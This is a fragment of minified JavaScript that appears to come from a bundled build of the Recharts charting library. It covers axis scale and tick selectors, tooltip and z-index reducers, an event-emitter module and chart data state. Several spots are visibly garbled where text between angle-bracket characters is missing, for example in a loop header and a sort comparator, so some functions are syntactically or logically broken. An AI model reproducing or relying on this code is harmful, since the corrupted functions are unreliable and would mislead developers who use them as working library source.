n&&(t.dataKey==null||t.allowDuplicatedCategory&&mR(r))?kD(0,e.length):t.allowDuplicatedCategory?r:Array.from(new Set(r))},Wk=e=>e.referenceElements.dots,ns=(e,t,n)=>e.filter(r=>r.ifOverflow==="extendDomain").filter(r=>t==="xAxis"?r.xAxisId===n:r.yAxisId===n),uQ=G([Wk,dt,ou],ns),Xk=e=>e.referenceElements.areas,fQ=G([Xk,dt,ou],ns),Zk=e=>e.referenceElements.lines,dQ=G([Zk,dt,ou],ns),Qk=(e,t)=>{if(e!=null){var n=Na(e.map(r=>t==="xAxis"?r.x:r.y));if(n.length!==0)return[Math.min(...n),Math.max(...n)]}},hQ=G(uQ,dt,Qk),Jk=(e,t)=>{if(e!=null){var n=Na(e.flatMap(r=>[t==="xAxis"?r.x1:r.y1,t==="xAxis"?r.x2:r.y2]));if(n.length!==0)return[Math.min(...n),Math.max(...n)]}},pQ=G([fQ,dt],Jk);function mQ(e){var t;if(e.x!=null)return Na([e.x]);var n=(t=e.segment)===null||t===void 0?void 0:t.map(r=>r.x);return n==null||n.length===0?[]:Na(n)}function vQ(e){var t;if(e.y!=null)return Na([e.y]);var n=(t=e.segment)===null||t===void 0?void 0:t.map(r=>r.y);return n==null||n.length===0?[]:Na(n)}var eL=(e,t)=>{if(e!=null){var n=e.flatMap(r=>t==="xAxis"?mQ(r):vQ(r));if(n.length!==0)return[Math.min(...n),Math.max(...n)]}},gQ=G([dQ,dt],eL),yQ=G(hQ,gQ,pQ,(e,t,n)=>ch(e,n,t)),g1=(e,t,n,r,i,l,c,u)=>{if(n!=null)return n;var f=c==="vertical"&&u==="xAxis"||c==="horizontal"&&u==="yAxis",h=f?ch(r,l,i):ch(l,i);return NZ(t,h,e.allowDataOverflow)},bQ=G([pt,p1,m1,iQ,lQ,yQ,Fe,dt],g1,{memoizeOptions:{resultEqualityCheck:Tp}}),xQ=[0,1],y1=(e,t,n,r,i,l,c)=>{if(!((e==null||n==null||n.length===0)&&c===void 0)){var{dataKey:u,type:f}=e,h=Oo(t,l);if(h&&u==null){var p;return kD(0,(p=n?.length)!==null&&p!==void 0?p:0)}return f==="category"?cQ(r,e,h):i==="expand"?xQ:c}},b1=G([pt,Fe,f1,Mp,iu,dt,bQ],y1),tL=(e,t,n,r,i)=>{if(e!=null){var{scale:l,type:c}=e;if(l==="auto")return t==="radial"&&i==="radiusAxis"?"band":t==="radial"&&i==="angleAxis"?"linear":c==="category"&&r&&(r.indexOf("LineChart")>=0||r.indexOf("AreaChart")>=0||r.indexOf("ComposedChart")>=0&&!n)?"point":c==="category"?"band":"linear";if(typeof l=="string"){var u="scale".concat(Yc(l));return u in mc?u:"point"}}},rs=G([pt,Fe,qk,Qx,dt],tL);function wQ(e){if(e!=null){if(e in mc)return mc[e]();var t="scale".concat(Yc(e));if(t in mc)return mc[t]()}}function x1(e,t,n,r){if(!(n==null||r==null)){if(typeof e.scale=="function")return e.scale.copy().domain(n).range(r);var i=wQ(t);if(i!=null){var l=i.domain(n).range(r);return _K(l),l}}}var w1=(e,t,n)=>{var r=h1(t);if(!(n!=="auto"&&n!=="linear")){if(t!=null&&t.tickCount&&Array.isArray(r)&&(r[0]==="auto"||r[1]==="auto")&&Oi(e))return zZ(e,t.tickCount,t.allowDecimals);if(t!=null&&t.tickCount&&t.type==="number"&&Oi(e))return $Z(e,t.tickCount,t.allowDecimals)}},S1=G([b1,lu,rs],w1),O1=(e,t,n,r)=>{if(r!=="angleAxis"&&e?.type==="number"&&Oi(t)&&Array.isArray(n)&&n.length>0){var i=t[0],l=n[0],c=t[1],u=n[n.length-1];return[Math.min(i,l),Math.max(c,u)]}return t},SQ=G([pt,b1,S1,dt],O1),OQ=G(Mp,pt,(e,t)=>{if(!(!t||t.type!=="number")){var n=1/0,r=Array.from(Na(e.map(m=>m.value))).sort((m,y)=>m-y),i=r[0],l=r[r.length-1];if(i==null||l==null)return 1/0;var c=l-i;if(c===0)return 1/0;for(var u=0;ui,(e,t,n,r,i)=>{if(!ht(e))return 0;var l=t==="vertical"?r.height:r.width;if(i==="gap")return e*l/2;if(i==="no-gap"){var c=on(n,e*l),u=e*l/2;return u-c-(u-c)/l*c}return 0}),EQ=(e,t,n)=>{var r=La(e,t);return r==null||typeof r.padding!="string"?0:nL(e,"xAxis",t,n,r.padding)},AQ=(e,t,n)=>{var r=Ia(e,t);return r==null||typeof r.padding!="string"?0:nL(e,"yAxis",t,n,r.padding)},CQ=G(La,EQ,(e,t)=>{var n,r;if(e==null)return{left:0,right:0};var{padding:i}=e;return typeof i=="string"?{left:t,right:t}:{left:((n=i.left)!==null&&n!==void 0?n:0)+t,right:((r=i.right)!==null&&r!==void 0?r:0)+t}}),_Q=G(Ia,AQ,(e,t)=>{var n,r;if(e==null)return{top:0,bottom:0};var{padding:i}=e;return typeof i=="string"?{top:t,bottom:t}:{top:((n=i.top)!==null&&n!==void 0?n:0)+t,bottom:((r=i.bottom)!==null&&r!==void 0?r:0)+t}}),TQ=G([kt,CQ,cp,sp,(e,t,n)=>n],(e,t,n,r,i)=>{var{padding:l}=r;return i?[l.left,n.width-l.right]:[e.left+t.left,e.left+e.width-t.right]}),NQ=G([kt,Fe,_Q,cp,sp,(e,t,n)=>n],(e,t,n,r,i,l)=>{var{padding:c}=i;return l?[r.height-c.bottom,c.top]:t==="horizontal"?[e.top+e.height-n.bottom,e.top+n.top]:[e.top+n.top,e.top+e.height-n.bottom]}),uu=(e,t,n,r)=>{var i;switch(t){case"xAxis":return TQ(e,n,r);case"yAxis":return NQ(e,n,r);case"zAxis":return(i=i1(e,n))===null||i===void 0?void 0:i.range;case"angleAxis":return Ik(e);case"radiusAxis":return zk(e,n);default:return}},rL=G([pt,uu],Ap),Pp=G([pt,rs,SQ,rL],x1);G([su,jp,dt],oQ);function aL(e,t){return e.idt.id?1:0}var Rp=(e,t)=>t,Dp=(e,t,n)=>n,MQ=G(op,Rp,Dp,(e,t,n)=>e.filter(r=>r.orientation===t).filter(r=>r.mirror===n).sort(aL)),jQ=G(lp,Rp,Dp,(e,t,n)=>e.filter(r=>r.orientation===t).filter(r=>r.mirror===n).sort(aL)),iL=(e,t)=>({width:e.width,height:t.height}),PQ=(e,t)=>{var n=typeof t.width=="number"?t.width:Qc;return{width:n,height:e.height}},oL=G(kt,La,iL),RQ=(e,t,n)=>{switch(t){case"top":return e.top;case"bottom":return n-e.bottom;default:return 0}},DQ=(e,t,n)=>{switch(t){case"left":return e.left;case"right":return n-e.right;default:return 0}},kQ=G(Ra,kt,MQ,Rp,Dp,(e,t,n,r,i)=>{var l={},c;return n.forEach(u=>{var f=iL(t,u);c==null&&(c=RQ(t,r,e));var h=r==="top"&&!i||r==="bottom"&&i;l[u.id]=c-Number(h)*f.height,c+=(h?-1:1)*f.height}),l}),LQ=G(Pa,kt,jQ,Rp,Dp,(e,t,n,r,i)=>{var l={},c;return n.forEach(u=>{var f=PQ(t,u);c==null&&(c=DQ(t,r,e));var h=r==="left"&&!i||r==="right"&&i;l[u.id]=c-Number(h)*f.width,c+=(h?-1:1)*f.width}),l}),IQ=(e,t)=>{var n=La(e,t);if(n!=null)return kQ(e,n.orientation,n.mirror)},zQ=G([kt,La,IQ,(e,t)=>t],(e,t,n,r)=>{if(t!=null){var i=n?.[r];return i==null?{x:e.left,y:0}:{x:e.left,y:i}}}),$Q=(e,t)=>{var n=Ia(e,t);if(n!=null)return LQ(e,n.orientation,n.mirror)},BQ=G([kt,Ia,$Q,(e,t)=>t],(e,t,n,r)=>{if(t!=null){var i=n?.[r];return i==null?{x:0,y:e.top}:{x:i,y:e.top}}}),lL=G(kt,Ia,(e,t)=>{var n=typeof t.width=="number"?t.width:Qc;return{width:n,height:e.height}}),DN=(e,t,n)=>{switch(t){case"xAxis":return oL(e,n).width;case"yAxis":return lL(e,n).height;default:return}},sL=(e,t,n,r)=>{if(n!=null){var{allowDuplicatedCategory:i,type:l,dataKey:c}=n,u=Oo(e,r),f=t.map(h=>h.value);if(c&&u&&l==="category"&&i&&mR(f))return f}},E1=G([Fe,Mp,pt,dt],sL),cL=(e,t,n,r)=>{if(!(n==null||n.dataKey==null)){var{type:i,scale:l}=n,c=Oo(e,r);if(c&&(i==="number"||l!=="auto"))return t.map(u=>u.value)}},A1=G([Fe,Mp,lu,dt],cL);G([Fe,QZ,rs,Pp,E1,A1,uu,S1,dt],(e,t,n,r,i,l,c,u,f)=>{if(t!=null){var h=Oo(e,f);return{angle:t.angle,interval:t.interval,minTickGap:t.minTickGap,orientation:t.orientation,tick:t.tick,tickCount:t.tickCount,tickFormatter:t.tickFormatter,ticks:t.ticks,type:t.type,unit:t.unit,axisType:f,categoricalDomain:l,duplicateDomain:i,isCategorical:h,niceTicks:u,range:c,realScaleType:n,scale:r}}});var UQ=(e,t,n,r,i,l,c,u,f)=>{if(!(t==null||r==null)){var h=Oo(e,f),{type:p,ticks:m,tickCount:y}=t,x=n==="scaleBand"&&typeof r.bandwidth=="function"?r.bandwidth()/2:2,S=p==="category"&&r.bandwidth?r.bandwidth()/x:0;S=f==="angleAxis"&&l!=null&&l.length>=2?tn(l[0]-l[1])*2*S:S;var w=m||i;if(w){var O=w.map((A,_)=>{var T=c?c.indexOf(A):A;return{index:_,coordinate:r(T)+S,value:A,offset:S}});return O.filter(A=>ht(A.coordinate))}return h&&u?u.map((A,_)=>({coordinate:r(A)+S,value:A,index:_,offset:S})).filter(A=>ht(A.coordinate)):r.ticks?r.ticks(y).map(A=>({coordinate:r(A)+S,value:A,offset:S})):r.domain().map((A,_)=>({coordinate:r(A)+S,value:c?c[A]:A,index:_,offset:S}))}},uL=G([Fe,lu,rs,Pp,S1,uu,E1,A1,dt],UQ),HQ=(e,t,n,r,i,l,c)=>{if(!(t==null||n==null||r==null||r[0]===r[1])){var u=Oo(e,c),{tickCount:f}=t,h=0;return h=c==="angleAxis"&&r?.length>=2?tn(r[0]-r[1])*2*h:h,u&&l?l.map((p,m)=>({coordinate:n(p)+h,value:p,index:m,offset:h})):n.ticks?n.ticks(f).map(p=>({coordinate:n(p)+h,value:p,offset:h})):n.domain().map((p,m)=>({coordinate:n(p)+h,value:i?i[p]:p,index:m,offset:h}))}},$l=G([Fe,lu,Pp,uu,E1,A1,dt],HQ),Bl=G(pt,Pp,(e,t)=>{if(!(e==null||t==null))return sh(sh({},e),{},{scale:t})}),qQ=G([pt,rs,b1,rL],x1);G((e,t,n)=>i1(e,n),qQ,(e,t)=>{if(!(e==null||t==null))return sh(sh({},e),{},{scale:t})});var FQ=G([Fe,op,lp],(e,t,n)=>{switch(e){case"horizontal":return t.some(r=>r.reversed)?"right-to-left":"left-to-right";case"vertical":return n.some(r=>r.reversed)?"bottom-to-top":"top-to-bottom";case"centric":case"radial":return"left-to-right";default:return}}),fL=e=>e.options.defaultTooltipEventType,dL=e=>e.options.validateTooltipEventTypes;function hL(e,t,n){if(e==null)return t;var r=e?"axis":"item";return n==null?t:n.includes(r)?r:t}function C1(e,t){var n=fL(e),r=dL(e);return hL(t,n,r)}function VQ(e){return we(t=>C1(t,e))}var pL=(e,t)=>{var n,r=Number(t);if(!(Hr(r)||t==null))return r>=0?e==null||(n=e[r])===null||n===void 0?void 0:n.value:void 0},KQ=e=>e.tooltip.settings,gi={active:!1,index:null,dataKey:void 0,graphicalItemId:void 0,coordinate:void 0},YQ={itemInteraction:{click:gi,hover:gi},axisInteraction:{click:gi,hover:gi},keyboardInteraction:gi,syncInteraction:{active:!1,index:null,dataKey:void 0,label:void 0,coordinate:void 0,sourceViewBox:void 0,graphicalItemId:void 0},tooltipItemPayloads:[],settings:{shared:void 0,trigger:"hover",axisId:0,active:!1,defaultIndex:void 0}},mL=An({name:"tooltip",initialState:YQ,reducers:{addTooltipEntrySettings:{reducer(e,t){e.tooltipItemPayloads.push(t.payload)},prepare:ct()},replaceTooltipEntrySettings:{reducer(e,t){var{prev:n,next:r}=t.payload,i=Sr(e).tooltipItemPayloads.indexOf(n);i>-1&&(e.tooltipItemPayloads[i]=r)},prepare:ct()},removeTooltipEntrySettings:{reducer(e,t){var n=Sr(e).tooltipItemPayloads.indexOf(t.payload);n>-1&&e.tooltipItemPayloads.splice(n,1)},prepare:ct()},setTooltipSettingsState(e,t){e.settings=t.payload},setActiveMouseOverItemIndex(e,t){e.syncInteraction.active=!1,e.keyboardInteraction.active=!1,e.itemInteraction.hover.active=!0,e.itemInteraction.hover.index=t.payload.activeIndex,e.itemInteraction.hover.dataKey=t.payload.activeDataKey,e.itemInteraction.hover.graphicalItemId=t.payload.activeGraphicalItemId,e.itemInteraction.hover.coordinate=t.payload.activeCoordinate},mouseLeaveChart(e){e.itemInteraction.hover.active=!1,e.axisInteraction.hover.active=!1},mouseLeaveItem(e){e.itemInteraction.hover.active=!1},setActiveClickItemIndex(e,t){e.syncInteraction.active=!1,e.itemInteraction.click.active=!0,e.keyboardInteraction.active=!1,e.itemInteraction.click.index=t.payload.activeIndex,e.itemInteraction.click.dataKey=t.payload.activeDataKey,e.itemInteraction.click.graphicalItemId=t.payload.activeGraphicalItemId,e.itemInteraction.click.coordinate=t.payload.activeCoordinate},setMouseOverAxisIndex(e,t){e.syncInteraction.active=!1,e.axisInteraction.hover.active=!0,e.keyboardInteraction.active=!1,e.axisInteraction.hover.index=t.payload.activeIndex,e.axisInteraction.hover.dataKey=t.payload.activeDataKey,e.axisInteraction.hover.coordinate=t.payload.activeCoordinate},setMouseClickAxisIndex(e,t){e.syncInteraction.active=!1,e.keyboardInteraction.active=!1,e.axisInteraction.click.active=!0,e.axisInteraction.click.index=t.payload.activeIndex,e.axisInteraction.click.dataKey=t.payload.activeDataKey,e.axisInteraction.click.coordinate=t.payload.activeCoordinate},setSyncInteraction(e,t){e.syncInteraction=t.payload},setKeyboardInteraction(e,t){e.keyboardInteraction.active=t.payload.active,e.keyboardInteraction.index=t.payload.activeIndex,e.keyboardInteraction.coordinate=t.payload.activeCoordinate}}}),{addTooltipEntrySettings:GQ,replaceTooltipEntrySettings:WQ,removeTooltipEntrySettings:XQ,setTooltipSettingsState:ZQ,setActiveMouseOverItemIndex:vL,mouseLeaveItem:QQ,mouseLeaveChart:gL,setActiveClickItemIndex:JQ,setMouseOverAxisIndex:yL,setMouseClickAxisIndex:eJ,setSyncInteraction:ub,setKeyboardInteraction:fb}=mL.actions,tJ=mL.reducer;function kN(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function ad(e){for(var t=1;t{if(t==null)return gi;var i=iJ(e,t,n);if(i==null)return gi;if(i.active)return i;if(e.keyboardInteraction.active)return e.keyboardInteraction;if(e.syncInteraction.active&&e.syncInteraction.index!=null)return e.syncInteraction;var l=e.settings.active===!0;if(oJ(i)){if(l)return ad(ad({},i),{},{active:!0})}else if(r!=null)return{active:!0,coordinate:void 0,dataKey:void 0,index:r,graphicalItemId:void 0};return ad(ad({},gi),{},{coordinate:i.coordinate})};function lJ(e){if(typeof e=="number")return Number.isFinite(e)?e:void 0;if(e instanceof Date){var t=e.valueOf();return Number.isFinite(t)?t:void 0}var n=Number(e);return Number.isFinite(n)?n:void 0}function sJ(e,t){var n=lJ(e),r=t[0],i=t[1];if(n===void 0)return!1;var l=Math.min(r,i),c=Math.max(r,i);return n>=l&&n<=c}function cJ(e,t,n){if(n==null||t==null)return!0;var r=lt(e,t);return r==null||!Oi(n)?!0:sJ(r,n)}var _1=(e,t,n,r)=>{var i=e?.index;if(i==null)return null;var l=Number(i);if(!ht(l))return i;var c=0,u=1/0;t.length>0&&(u=t.length-1);var f=Math.max(c,Math.min(l,u)),h=t[f];return h==null||cJ(h,n,r)?String(f):null},xL=(e,t,n,r,i,l,c,u)=>{if(!(l==null||u==null)){var f=c[0],h=f==null?void 0:u(f.positions,l);if(h!=null)return h;var p=i?.[Number(l)];if(p)return n==="horizontal"?{x:p.coordinate,y:(r.top+t)/2}:{x:(r.left+e)/2,y:p.coordinate}}},wL=(e,t,n,r)=>{if(t==="axis")return e.tooltipItemPayloads;if(e.tooltipItemPayloads.length===0)return[];var i;if(n==="hover"?i=e.itemInteraction.hover.graphicalItemId:i=e.itemInteraction.click.graphicalItemId,i==null&&r!=null){var l=e.tooltipItemPayloads[0];return l!=null?[l]:[]}return e.tooltipItemPayloads.filter(c=>{var u;return((u=c.settings)===null||u===void 0?void 0:u.graphicalItemId)===i})},fu=e=>e.options.tooltipPayloadSearcher,as=e=>e.tooltip;function LN(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function IN(e){for(var t=1;t{if(!(t==null||l==null)){var{chartData:u,computedData:f,dataStartIndex:h,dataEndIndex:p}=n,m=[];return e.reduce((y,x)=>{var S,{dataDefinedOnItem:w,settings:O}=x,A=hJ(w,u),_=Array.isArray(A)?lD(A,h,p):A,T=(S=O?.dataKey)!==null&&S!==void 0?S:r,j=O?.nameKey,M;if(r&&Array.isArray(_)&&!Array.isArray(_[0])&&c==="axis"?M=hF(_,r,i):M=l(_,t,f,j),Array.isArray(M))M.forEach(R=>{var I=IN(IN({},O),{},{name:R.name,unit:R.unit,color:void 0,fill:void 0});y.push(H_({tooltipEntrySettings:I,dataKey:R.dataKey,payload:R.payload,value:lt(R.payload,R.dataKey),name:R.name}))});else{var P;y.push(H_({tooltipEntrySettings:O,dataKey:T,payload:M,value:lt(M,T),name:(P=lt(M,j))!==null&&P!==void 0?P:O?.name}))}return y},m)}},T1=G([zt,Fe,qk,Qx,It],tL),pJ=G([e=>e.graphicalItems.cartesianItems,e=>e.graphicalItems.polarItems],(e,t)=>[...e,...t]),mJ=G([It,ts],o1),is=G([pJ,zt,mJ],s1,{memoizeOptions:{resultEqualityCheck:Np}}),vJ=G([is],e=>e.filter(_p)),gJ=G([is],c1,{memoizeOptions:{resultEqualityCheck:Np}}),os=G([gJ,ka],u1),yJ=G([vJ,ka,zt],Bk),N1=G([os,zt,is],d1),OL=G([zt],h1),bJ=G([zt],e=>e.allowDataOverflow),EL=G([OL,bJ],gk),xJ=G([is],e=>e.filter(_p)),wJ=G([yJ,xJ,iu,Rk],Yk),SJ=G([wJ,ka,It,EL],Gk),OJ=G([is],Vk),EJ=G([os,zt,OJ,jp,It],v1,{memoizeOptions:{resultEqualityCheck:Tp}}),AJ=G([Wk,It,ts],ns),CJ=G([AJ,It],Qk),_J=G([Xk,It,ts],ns),TJ=G([_J,It],Jk),NJ=G([Zk,It,ts],ns),MJ=G([NJ,It],eL),jJ=G([CJ,MJ,TJ],ch),PJ=G([zt,OL,EL,SJ,EJ,jJ,Fe,It],g1),du=G([zt,Fe,os,N1,iu,It,PJ],y1),RJ=G([du,zt,T1],w1),DJ=G([zt,du,RJ,It],O1),AL=e=>{var t=It(e),n=ts(e),r=!1;return uu(e,t,n,r)},CL=G([zt,AL],Ap),_L=G([zt,T1,DJ,CL],x1),kJ=G([Fe,N1,zt,It],sL),LJ=G([Fe,N1,zt,It],cL),IJ=(e,t,n,r,i,l,c,u)=>{if(t){var{type:f}=t,h=Oo(e,u);if(r){var p=n==="scaleBand"&&r.bandwidth?r.bandwidth()/2:2,m=f==="category"&&r.bandwidth?r.bandwidth()/p:0;return m=u==="angleAxis"&&i!=null&&i?.length>=2?tn(i[0]-i[1])*2*m:m,h&&c?c.map((y,x)=>({coordinate:r(y)+m,value:y,index:x,offset:m})):r.domain().map((y,x)=>({coordinate:r(y)+m,value:l?l[y]:y,index:x,offset:m}))}}},za=G([Fe,zt,T1,_L,AL,kJ,LJ,It],IJ),M1=G([fL,dL,KQ],(e,t,n)=>hL(n.shared,e,t)),TL=e=>e.tooltip.settings.trigger,j1=e=>e.tooltip.settings.defaultIndex,hu=G([as,M1,TL,j1],bL),vo=G([hu,os,cu,du],_1),NL=G([za,vo],pL),P1=G([hu],e=>{if(e)return e.dataKey}),zJ=G([hu],e=>{if(e)return e.graphicalItemId}),ML=G([as,M1,TL,j1],wL),$J=G([Pa,Ra,Fe,kt,za,j1,ML,fu],xL),BJ=G([hu,$J],(e,t)=>e!=null&&e.coordinate?e.coordinate:t),UJ=G([hu],e=>{var t;return(t=e?.active)!==null&&t!==void 0?t:!1}),HJ=G([ML,vo,ka,cu,NL,fu,M1],SL);G([HJ],e=>{if(e!=null){var t=e.map(n=>n.payload).filter(n=>n!=null);return Array.from(new Set(t))}});function zN(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function $N(e){for(var t=1;twe(zt),YJ=()=>{var e=KJ(),t=we(za),n=we(_L);return qd(!e||!n?void 0:$N($N({},e),{},{scale:n}),t)};function BN(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function xl(e){for(var t=1;t{var i=t.find(l=>l&&l.index===n);if(i){if(e==="horizontal")return{x:i.coordinate,y:r.chartY};if(e==="vertical")return{x:r.chartX,y:i.coordinate}}return{x:0,y:0}},QJ=(e,t,n,r)=>{var i=t.find(h=>h&&h.index===n);if(i){if(e==="centric"){var l=i.coordinate,{radius:c}=r;return xl(xl(xl({},r),Nt(r.cx,r.cy,c,l)),{},{angle:l,radius:c})}var u=i.coordinate,{angle:f}=r;return xl(xl(xl({},r),Nt(r.cx,r.cy,u,f)),{},{angle:f,radius:u})}return{angle:0,clockWise:!1,cx:0,cy:0,endAngle:0,innerRadius:0,outerRadius:0,radius:0,startAngle:0,x:0,y:0}};function JJ(e,t){var{chartX:n,chartY:r}=e;return n>=t.left&&n<=t.left+t.width&&r>=t.top&&r<=t.top+t.height}var jL=(e,t,n,r,i)=>{var l,c=(l=t?.length)!==null&&l!==void 0?l:0;if(c<=1||e==null)return 0;if(r==="angleAxis"&&i!=null&&Math.abs(Math.abs(i[1]-i[0])-360)<=1e-6)for(var u=0;u0?(f=n[u-1])===null||f===void 0?void 0:f.coordinate:(h=n[c-1])===null||h===void 0?void 0:h.coordinate,S=(p=n[u])===null||p===void 0?void 0:p.coordinate,w=u>=c-1?(m=n[0])===null||m===void 0?void 0:m.coordinate:(y=n[u+1])===null||y===void 0?void 0:y.coordinate,O=void 0;if(!(x==null||S==null||w==null))if(tn(S-x)!==tn(w-S)){var A=[];if(tn(w-S)===tn(i[1]-i[0])){O=w;var _=S+i[1]-i[0];A[0]=Math.min(_,(_+x)/2),A[1]=Math.max(_,(_+x)/2)}else{O=x;var T=w+i[1]-i[0];A[0]=Math.min(S,(T+S)/2),A[1]=Math.max(S,(T+S)/2)}var j=[Math.min(S,(O+S)/2),Math.max(S,(O+S)/2)];if(e>j[0]&&e<=j[1]||e>=A[0]&&e<=A[1]){var M;return(M=n[u])===null||M===void 0?void 0:M.index}}else{var P=Math.min(x,w),R=Math.max(x,w);if(e>(P+S)/2&&e<=(R+S)/2){var I;return(I=n[u])===null||I===void 0?void 0:I.index}}}else if(t)for(var B=0;B(q.coordinate+V.coordinate)/2||B>0&&B(q.coordinate+V.coordinate)/2&&e<=(q.coordinate+U.coordinate)/2)return q.index}}return-1},eee=()=>we(Qx),R1=(e,t)=>t,PL=(e,t,n)=>n,D1=(e,t,n,r)=>r,tee=G(za,e=>Xh(e,t=>t.coordinate)),k1=G([as,R1,PL,D1],bL),L1=G([k1,os,cu,du],_1),nee=(e,t,n)=>{if(t!=null){var r=as(e);return t==="axis"?n==="hover"?r.axisInteraction.hover.dataKey:r.axisInteraction.click.dataKey:n==="hover"?r.itemInteraction.hover.dataKey:r.itemInteraction.click.dataKey}},RL=G([as,R1,PL,D1],wL),uh=G([Pa,Ra,Fe,kt,za,D1,RL,fu],xL),ree=G([k1,uh],(e,t)=>{var n;return(n=e.coordinate)!==null&&n!==void 0?n:t}),DL=G([za,L1],pL),aee=G([RL,L1,ka,cu,DL,fu,R1],SL),iee=G([k1,L1],(e,t)=>({isActive:e.active&&t!=null,activeIndex:t})),oee=(e,t,n,r,i,l,c)=>{if(!(!e||!n||!r||!i)&&JJ(e,c)){var u=zK(e,t),f=jL(u,l,i,n,r),h=ZJ(t,i,f,e);return{activeIndex:String(f),activeCoordinate:h}}},lee=(e,t,n,r,i,l,c)=>{if(!(!e||!r||!i||!l||!n)){var u=FG(e,n);if(u){var f=$K(u,t),h=jL(f,c,l,r,i),p=QJ(t,l,h,u);return{activeIndex:String(h),activeCoordinate:p}}}},see=(e,t,n,r,i,l,c,u)=>{if(!(!e||!t||!r||!i||!l))return t==="horizontal"||t==="vertical"?oee(e,t,r,i,l,c,u):lee(e,t,n,r,i,l,c)},cee=G(e=>e.zIndex.zIndexMap,(e,t)=>t,(e,t,n)=>n,(e,t,n)=>{if(t!=null){var r=e[t];if(r!=null)return n?r.panoramaElement:r.element}}),uee=G(e=>e.zIndex.zIndexMap,e=>{var t=Object.keys(e).map(r=>parseInt(r,10)).concat(Object.values(an)),n=Array.from(new Set(t));return n.sort((r,i)=>r-i)},{memoizeOptions:{resultEqualityCheck:YZ}});function UN(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function HN(e){for(var t=1;tHN(HN({},e),{},{[t]:{element:void 0,panoramaElement:void 0,consumers:0}}),pee)},vee=new Set(Object.values(an));function gee(e){return vee.has(e)}var kL=An({name:"zIndex",initialState:mee,reducers:{registerZIndexPortal:{reducer:(e,t)=>{var{zIndex:n}=t.payload;e.zIndexMap[n]?e.zIndexMap[n].consumers+=1:e.zIndexMap[n]={consumers:1,element:void 0,panoramaElement:void 0}},prepare:ct()},unregisterZIndexPortal:{reducer:(e,t)=>{var{zIndex:n}=t.payload;e.zIndexMap[n]&&(e.zIndexMap[n].consumers-=1,e.zIndexMap[n].consumers<=0&&!gee(n)&&delete e.zIndexMap[n])},prepare:ct()},registerZIndexPortalElement:{reducer:(e,t)=>{var{zIndex:n,element:r,isPanorama:i}=t.payload;e.zIndexMap[n]?i?e.zIndexMap[n].panoramaElement=r:e.zIndexMap[n].element=r:e.zIndexMap[n]={consumers:0,element:i?void 0:r,panoramaElement:i?r:void 0}},prepare:ct()},unregisterZIndexPortalElement:{reducer:(e,t)=>{var{zIndex:n}=t.payload;e.zIndexMap[n]&&(t.payload.isPanorama?e.zIndexMap[n].panoramaElement=void 0:e.zIndexMap[n].element=void 0)},prepare:ct()}}}),{registerZIndexPortal:yee,unregisterZIndexPortal:bee,registerZIndexPortalElement:xee,unregisterZIndexPortalElement:wee}=kL.actions,See=kL.reducer;function Gr(e){var{zIndex:t,children:n}=e,r=bY(),i=r&&t!==void 0&&t!==0,l=Vn(),c=ft();v.useLayoutEffect(()=>i?(c(yee({zIndex:t})),()=>{c(bee({zIndex:t}))}):Gc,[c,t,i]);var u=we(f=>cee(f,t,l));return i?u?So.createPortal(n,u):null:n}function db(){return db=Object.assign?Object.assign.bind():function(e){for(var t=1;tv.useContext(LL),qy={exports:{}},FN;function Mee(){return FN||(FN=1,(function(e){var t=Object.prototype.hasOwnProperty,n="~";function r(){}Object.create&&(r.prototype=Object.create(null),new r().__proto__||(n=!1));function i(f,h,p){this.fn=f,this.context=h,this.once=p||!1}function l(f,h,p,m,y){if(typeof p!="function")throw new TypeError("The listener must be a function");var x=new i(p,m||f,y),S=n?n+h:h;return f._events[S]?f._events[S].fn?f._events[S]=[f._events[S],x]:f._events[S].push(x):(f._events[S]=x,f._eventsCount++),f}function c(f,h){--f._eventsCount===0?f._events=new r:delete f._events[h]}function u(){this._events=new r,this._eventsCount=0}u.prototype.eventNames=function(){var h=[],p,m;if(this._eventsCount===0)return h;for(m in p=this._events)t.call(p,m)&&h.push(n?m.slice(1):m);return Object.getOwnPropertySymbols?h.concat(Object.getOwnPropertySymbols(p)):h},u.prototype.listeners=function(h){var p=n?n+h:h,m=this._events[p];if(!m)return[];if(m.fn)return[m.fn];for(var y=0,x=m.length,S=new Array(x);y{e.eventEmitter==null&&(e.eventEmitter=Symbol("rechartsEventEmitter"))}}}),Dee=zL.reducer,{createEventEmitter:kee}=zL.actions;function Lee(e){return e.tooltip.syncInteraction}var Iee={chartData:void 0,computedData:void 0,dataStartIndex:0,dataEndIndex:0},$L=An({name:"chartData",initialState:Iee,reducers:{setChartData(e,t){if(e.chartData=t.payload,t.payload==null){e.dataStartIndex=0,e.dataEndIndex=0;return}t.payload.length>0&&e.dataEndIndex!==t.payload.length-1&&(e.dataEndIndex=t.payload.length-1)},setComputedData(e,t){e.computedData=t.payload},setDataStartEndIndexes(e,t){var{startIndex:n,endIndex:r}=t.payload;n!=null&&(e.dataStartIndex=n),r!=null&&(e.dataEndIndex=r)}}}),{setChartData:KN,setDataStartEndIndexes:zee,setComputedData:Sue}=$L.actions,$ee=$L.reducer,Bee=["x","y"];function YN(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function wl(e){for(var t=1;tf.rootProps.className);v.useEffect(()=>{if(e==null)return Gc;var f=(h,p,m)=>{if(t!==m&&e===h){if(r==="index"){var y;if(c&&p!==null&&p!==void 0&&(y=p.payload)!==null&&y!==void 0&&y.coordinate&&p.payload.sourceViewBox){var 